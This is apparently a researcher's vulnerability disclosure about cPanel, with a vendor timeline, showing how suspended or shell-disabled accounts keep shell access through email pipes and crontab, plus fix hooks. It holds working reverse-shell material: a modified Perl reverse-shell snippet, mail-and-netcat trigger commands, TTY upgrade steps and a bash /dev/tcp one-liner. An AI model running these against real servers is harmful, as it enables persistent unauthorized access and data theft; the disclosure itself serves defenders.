This article will show you how a hacker could gain command line access to their cPanel account even after you've suspended it. Additionally, it will show you how they could get shell access even if you have disabled it in WebHost Manager (WHM).
I reported these issues to the vendor's security team, who were given a more than reasonable time frame of over 7 months to correct them, I suggested a fix as well, at the time of writing this article the vulnerabilities are still present. The complete timeline is as follows:
- 1/1/20 Vulnerabilities Reported to cPanel Security Team.
- 1/1/20 cPanel Security Team responds stating they will follow up with in 10 business days.
- 1/20/20 cPanel Security Team states they are still looking into the issues.
- 4/8/20 Vulnerabilities are still present, and there have been no updates from the cPanel Securty Team, I send a follow up to the vendor.
- 4/13/20 cPanel Security Team states issues are "not considered to be vulnerabilities" and "cPanel accounts are allowed to execute arbitrary code in these contexts.".
- 4/13/20 I let them know I strongly disagree and assert that arbitrary code execution should never be allowed to occur from a suspended account. Additionally I suggest an easy fix (shown below in this article).
- 4/14/20 cPanel Security Team opens a case regarding the issue(s): CPANEL-32334.
- 8/7/20 Vulnerabilities are still present, I follow up with cPanel Security Team.
- 8/7/20 cPanel Security Team requests a few days to check on the status of the issues.
- 8/24/20 Vendor stated they are still working on the issue(s) and do not have an ETA at this time.
The logic behind the first vulnerability stems from the "feature" of cPanel, which allows some aspects of email to remain operational, even if an account is suspended. While they disable certain email features, such as mailman, pipes to scripts added by the user are left active. One feature of most email systems is for an email address to be forwarded (piped) to a script, an incoming email acts as a "trigger" to execute that script. A common use for this is if you have an auto-responder, which adds a user to a database and send them a series of emails.
The fact that this stays active after an account has been suspended, poses a huge security risk, since a malicious user, or a hacker who has compromised a cPanel account, can add a forwarder to a script which spawns a reverse shell back to them for later use, on demand, in the event the account gets suspended. Such scripts are widely available on many sites, including one of my favorties, PenTest Monkey: pentestmonkey.net/tools/web-shells/perl-reverse-shell
Once in a reverse shell the attacker can do many things, such as run perl scripts, crash the server, send spam, look at other user's files, exfiltrate data, and in the case of an additional security vulnerability, possibly escalate their privileges.
For the purpose of this proof of concept, shell access will be set to "Disabled Shell" in WHM for the user I'm testing with.
Here's a look at the exploit in action, first you need to add a forwarder to a reverse shell perl script in cPanel like so:
You will see a screen like this:
Now, you'll want to suspend the account in question, simulating a web host suspending a malicious user or compromised account currently being abused:
Notice in the suspendacct output it just has "Suspending outgoing email....".
The website will now show a suspended page:
Verify shell access to the account is disabled by trying to log in from a remote server:
Now, send an email to the address you used when you created the forwarder to the reverse shell, and start a netcat listener:
On the cPanel server you can verify the email was received and piped to the perl script by looking at the exim log:
A few seconds after the email has been received you will see the reverse shell has spawned (if you have Greylisting enabled, this can take several minutes, so its recommend to retry the email after 5 minutes, or disable greylisting in cPanel, when you add your forwarder):
Notice you have access through a shell, even though the shell is still set to /bin/false in /etc/passwd:
This gets you an "sh" shell, which can easily be switched to a "bash" shell, therefore you have more access than even a typical jailshell. This allows for additional privileges such as user and domain enumeration, and possible access to other user's files. For example, now I'm able to read the db-config.php file for another user called "someuser", which contains a database password.
You can even copy those files off the server like so:
And by checking /etc/passwd and looking in /etc/valiases you can get a list of all users and every domain on the server, including addon, parked and subdomains for all users:
Unlike some applications, after you get a reverse shell the application crashes and you can't get back in if you lose your shell, however the dangerous thing about this is, if the hacker loses his shell, he can simply send another email to get back in:
echo "let-me-in" | mail backdoor@nicksclouddemos.com -s"hacked";nc -lnvp 1337
The initial terminal you get isn't perfect, however if you want to have a normal fully interactive shell with auto-complete, etc, you can simply run these commands:
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty size
stty raw -echo
fg
reset
xterm
stty rows 32 cols 137
export TERM=xterm
Now, you have a remotely accessible fully functional bash shell on an account which is currently suspended and even had shell access totally disabled in the first place.
Once inside you can explore possible privilege escalation paths, using a tool like linpeas by the amazing Carlos Polop: github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh:
Going one step further, you can modify the Perl reverse shell script to read an IP from the body of the email, this way if your IP changes or is blocked, you can still spawn the reverse shell from a new location. Here is an easy way to do that:
...
# Where to send the reverse shell. Change these.
my $ip;
while (my $stdin = <>) {
chomp $stdin;
if($stdin ne ""){
$ip=$stdin;
}
}
print "$ip\n\n";
#comment this line since you are reading the IP form the email
#my $ip = '54.194.226.153';
my $port = 1337;
...
And now to get a reverse shell send the request like this:
# echo "54.194.226.153" | mail backdoor@nicksclouddemos.com -s"hacked";nc -lnvp 1337
Ncat: Version 7.50 ( nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 54.217.75.175.
Ncat: Connection from 54.217.75.175:46686.
Another thing to watch out for is, once back in, this "suspended user" could easily crash the server, or launch attacks against other networks.
Here is an example:
You can see in just 20 seconds I was able to bring the load average from nearly 0 to almost 23:
I've created a fix for this issue using a single sed command, which adds a single character to any pipes in the email aliases file. Luckily, cPanel allows hooks when suspending or unsuspending an account, therefore you can use those hooks to comment the line to the forwarder in /etc/valiases/domain file for any domains which are part of the account in question.
To make use of these hooks, enter the following code in /scripts/postsuspendacct:
#!/bin/bash
USERNAME=$1
for i in `/bin/cat /etc/userdomains | /bin/grep ": ${USERNAME}$" |/bin/awk -F: {'print $1'}`;do
/bin/sed -i "s/\(^^#.|.\)/#\1/" /etc/valiases/$i
done
And, if desired, to reactivate forwarders to script when an account is unsuspended enter the following in /scripts/postunsuspendacct:
#!/bin/bash
USERNAME=$1
for i in `/bin/cat /etc/userdomains | /bin/grep ": ${USERNAME}$" |/bin/awk -F: {'print $1'}`;do
/bin/sed -i "s/^#//" /etc/valiases/$i
done
Notice the comment (#) in front of the forwarder to the perl reverse shell which disables it:
root@ip-172-31-12-90 ~# cat /etc/valiases/nicksclouddemos.com
backdoor@nicksclouddemos.com: "|/home/nick/publichtml/reverseshell.pl"
*: nick
root@ip-172-31-12-90 ~# /scripts/suspendacct nick
Changing Shell to /bin/false...Done
Locking Password...Done
Suspending mysql users
Suspending websites...
Suspending FTP accounts...
Suspending outgoing email....Done
nick's account has been suspended
root@ip-172-31-12-90 ~# cat /etc/valiases/nicksclouddemos.com
#backdoor@nicksclouddemos.com: "|/home/nick/publichtml/reverseshell.pl"
*: nick
root@ip-172-31-12-90 ~# /scripts/unsuspendacct nick
Unsuspending outgoing email....Done
Unsuspending websites...
Unsuspending FTP accounts...
nick's account is now active
Unsuspending mysql users
nick's account has been unsuspended
root@ip-172-31-12-90 ~# cat /etc/valiases/nicksclouddemos.com
backdoor@nicksclouddemos.com: "|/home/nick/publichtml/reverseshell.pl"
*: nick
root@ip-172-31-12-90 ~#
Part two of this article is how your users might try to get a shell, even if you set their shell access to "disabled" in WHM. The fact that shell can be "disabled" in WHM is actually just a false sense of security, since its very easy for any account to still get a shell.
One way as you may have guessed is to just use the same method described in part one, simply spawn a reverse shell using a forwarder to a perl script. Another method is to take advantage of the fact that the crontab needs to run in a shell, if your account is set to "noshell" cPanel will default your crontab to "Jailshell". This allows you to add a command to spawn a bash reverse shell back to yourself. For example using this command, also from PenTest Monkey:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Notice when you check your crontab file, it has SHELL set to jailshell:
To my knowledge there is not a hook which could block this, however you could implement something like a constant monitor or regular scan of /var/spool/cron/* to look for any commands, such as bash, which may be used maliciously and automatically revert it, and/or suspend the user.
In summary, we covered two issues within the cPanel software which can lead to escalated access. The first being able to regain access to a suspended account and the second, being able to use one of two methods to get shell access, even its set to disabled in WHM. We also covered how to block the first method using hooks and we gave some tips on possible ways to catch the second method. Currently both vulnerabilities have not been corrected by the vendor, please refer to the cPanel change log: docs.cpanel.net/changelogs/ to see if a fix has been released.
Disclaimer: Code snippets and scripts are for informational purposes only, may not appear correctly, and have not been thoroughly tested, do not use in production.
Comments
No Comments Exist
Be the first, drop a comment!